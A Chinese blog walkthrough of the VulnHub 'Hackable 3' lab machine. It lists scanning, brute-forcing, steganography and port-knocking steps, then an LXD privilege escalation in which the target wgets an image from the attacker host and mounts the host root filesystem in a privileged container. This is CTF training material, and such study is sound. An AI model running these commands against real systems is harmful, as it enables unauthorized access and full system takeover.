其他分享
首页 > 其他分享> > VulnHub日记(三): Hackable 3

VulnHub日记(三): Hackable 3

作者:互联网

靶机介绍


中等难度的ctf虚拟机

参考链接:

参考博客:https://nepcodex.com/2021/07/hackable-iii-walkthrough-vulnhub/

虚拟机链接:https://www.vulnhub.com/entry/hackable-iii,720/

lxd,lxc提权:https://www.freebuf.com/articles/system/216803.html

开始练习


本机ip:192.168.56.102

nmap扫出目的机ip:192.168.56.107

nmap -sS 192.168.56.0/24

扫描开启服务

nmap -A -p- 192.168.56.107

扫描目录

dirsearch -e txt,php,html,flag,asp,aspx,bak,jpg,img,htm  -r -u http://192.168.56.107

 

 

ssh为过滤状态,访问80端口,查看网页源码,发现提示,需要尝试上次日记中使用过的端口碰撞技术来解锁ssh端口,并且告诉老板approve .jpg(当时不太明白)

 

 

注释内容:
<!-- "Please, jubiscleudo, don't forget to activate the port knocking when exiting your section, and tell the boss not to forget to approve the .jpg file - dev_suport@hackable3.com" -->

查看可访问的目录,发现字典,应该可以用于爆破登录,寻找登录入口

再次访问初始页面,查看源码,放大后发现隐藏的菜单按钮,打开登录页面,使用BP暴力破解用户名密码

 第一次用户名和密码都用字典,没有结果,想到可能是之前提示代码中的”jubiscleudo“是用户名,开始尝试

依旧没有结果,所以该字典应该是ssh的字典,但是发现登录后打开的是一个空的页面,查看原代码,发现是之前扫描到的”login.php“,基本动作就是连接数据库,从数据库中读取用户名密码信息,如果成功,就打开3.jpg,于是先下载3.jpg

查看之前扫描的目录,在”config.php“中发现数据库用户名密码等信息

结合两个代码,我们获取了mysql的数据库名称和用户名密码 ,这个页面再没有更多想法了,则尝试登录ssh,则需要端口序列来使用knock解锁22端口,就想到了之前没有用到的1.txt和2.txt,觉得这两个应该是端口序列

看了一眼大佬的提示,用base64编码解码1.ttxt,使用Brainfuck解码2.txt

echo MTAwMDA= | base64 -d

 Brainfuck的在线解码网站:http://ctf.ssleye.com/brain.html

 现在还缺少一个端口号,按照之前的文件名称想到了3.jpg,但是不知道怎么提取,于是查看提示,了解了这里使用了文件隐写,按照提示提取出端口,成功knock

steghide extract -sf 3.jpg
cat steganopayload148505.txt 

knock 192.168.56.107 1000 4444 65535
nmap -A -p- 192.168.56.107 

 

使用之前注释里的用户名和获得的字典爆破

 得到用户名密码 

ssh -l jubiscleudo 192.168.56.107

查看user.txt

cat .user.txt

进入sql失败,也没有发现本用户有特殊权限,返回上级目录,发现新用户名hackable_3

cd ../
id
ls -al

逐个访问目录,在访问/var/www/html下有隐藏文件.back_config.php 

打开后得到hackable_3密码 

 

切换用户,查看id和用户目录文件

id
cd /home/hackable_3
ls -al

查看id后

发现可以利用lxd,lxc提权

本机下载Alpine镜像

git clone  https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

./build-alpine

生成.tar.gz文件,打开server服务,传输给目标机

python -m SimpleHTTPServer

目标机获取镜像,将其以镜像的形式添加进LXD了

wget http://192.168.56.102:8000/alpine-v3.8-x86_64-20210805_0417.tar.gz
lxc image import ./alpine-v3.8-x86_64-20210805_0417.tar.gz --alias myimage
lxc image list
#.tar.gz文件是根据时间生成的,需要根据自己情况更改名称  --alias 后的名称也可以自己定义

 初始化Container,否则在加载容器时会显示没有存储池

lxd init
一路回车

执行如下命令,成功提权

lxc init myimage ignite -c security.privileged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

lxc start ignite

lxc exec ignite /bin/sh

获取flag 

cd /mnt/root/root
ls -al
cat root.txt

 

总结


线索较多,第一次使用lxc,lxd提权,Brainfuck编码,又一次用到了knock解锁端口

标签:用户名,端口,192.168,lxc,VulnHub,txt,Hackable,日记,56.107
来源: https://blog.csdn.net/weixin_44107836/article/details/119411475